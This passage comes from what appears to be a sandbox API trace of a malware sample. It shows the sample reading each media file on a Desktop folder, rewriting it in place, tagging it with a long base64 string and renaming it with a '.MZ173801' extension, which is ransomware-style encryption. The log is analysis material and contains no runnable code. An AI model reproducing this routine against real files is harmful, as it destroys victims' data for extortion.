MDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0145.014] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\0q91R3 LR1h2M2.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\0q91r3 lr1h2m2.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a4 [0145.014] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0145.014] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0145.014] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xc583 [0145.014] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0145.014] ReadFile (in: hFile=0x2a4, lpBuffer=0x714510, nNumberOfBytesToRead=0xc583, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0xc583, lpOverlapped=0x0) returned 1 [0145.016] CloseHandle (hObject=0x2a4) returned 1 [0145.017] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\0q91R3 LR1h2M2.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\0q91r3 lr1h2m2.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a4 [0145.018] WriteFile (in: hFile=0x2a4, lpBuffer=0x722540*, nNumberOfBytesToWrite=0xc583, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x722540*, lpNumberOfBytesWritten=0x18f6d0*=0xc583, lpOverlapped=0x0) returned 1 [0145.020] CloseHandle (hObject=0x2a4) returned 1 [0145.020] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\0q91R3 LR1h2M2.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\0q91r3 lr1h2m2.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\0q91R3 LR1h2M2.jpg.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\0q91r3 lr1h2m2.jpg.mz173801")) returned 1 [0145.022] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\D8ccBy7g.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\d8ccby7g.avi"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8303b00, ftCreationTime.dwHighDateTime=0x1d5db4a, ftLastAccessTime.dwLowDateTime=0xff98b700, ftLastAccessTime.dwHighDateTime=0x1d5e368, ftLastWriteTime.dwLowDateTime=0xff98b700, ftLastWriteTime.dwHighDateTime=0x1d5e368, nFileSizeHigh=0x0, nFileSizeLow=0x149e8)) returned 1 [0145.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0145.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0145.026] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\D8ccBy7g.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\d8ccby7g.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a4 [0145.026] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0145.026] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0145.026] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x149e8 [0145.026] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0145.026] ReadFile (in: hFile=0x2a4, lpBuffer=0x714510, nNumberOfBytesToRead=0x149e8, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x149e8, lpOverlapped=0x0) returned 1 [0145.028] CloseHandle (hObject=0x2a4) returned 1 [0145.029] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\D8ccBy7g.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\d8ccby7g.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a4 [0145.032] WriteFile (in: hFile=0x2a4, lpBuffer=0x72a540*, nNumberOfBytesToWrite=0x149e8, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x72a540*, lpNumberOfBytesWritten=0x18f6d0*=0x149e8, lpOverlapped=0x0) returned 1 [0145.035] CloseHandle (hObject=0x2a4) returned 1 [0145.035] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\D8ccBy7g.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\d8ccby7g.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\D8ccBy7g.avi.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\d8ccby7g.avi.mz173801")) returned 1 [0145.036] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\l5gwby9o.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\l5gwby9o.flv"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d386a20, ftCreationTime.dwHighDateTime=0x1d5e40a, ftLastAccessTime.dwLowDateTime=0x4ccc3230, ftLastAccessTime.dwHighDateTime=0x1d5d8f7, ftLastWriteTime.dwLowDateTime=0x4ccc3230, ftLastWriteTime.dwHighDateTime=0x1d5d8f7, nFileSizeHigh=0x0, nFileSizeLow=0xc40a)) returned 1 [0145.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0145.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0145.040] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\l5gwby9o.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\l5gwby9o.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a4 [0145.040] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0145.040] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0145.041] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xc40a [0145.041] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0145.041] ReadFile (in: hFile=0x2a4, lpBuffer=0x714510, 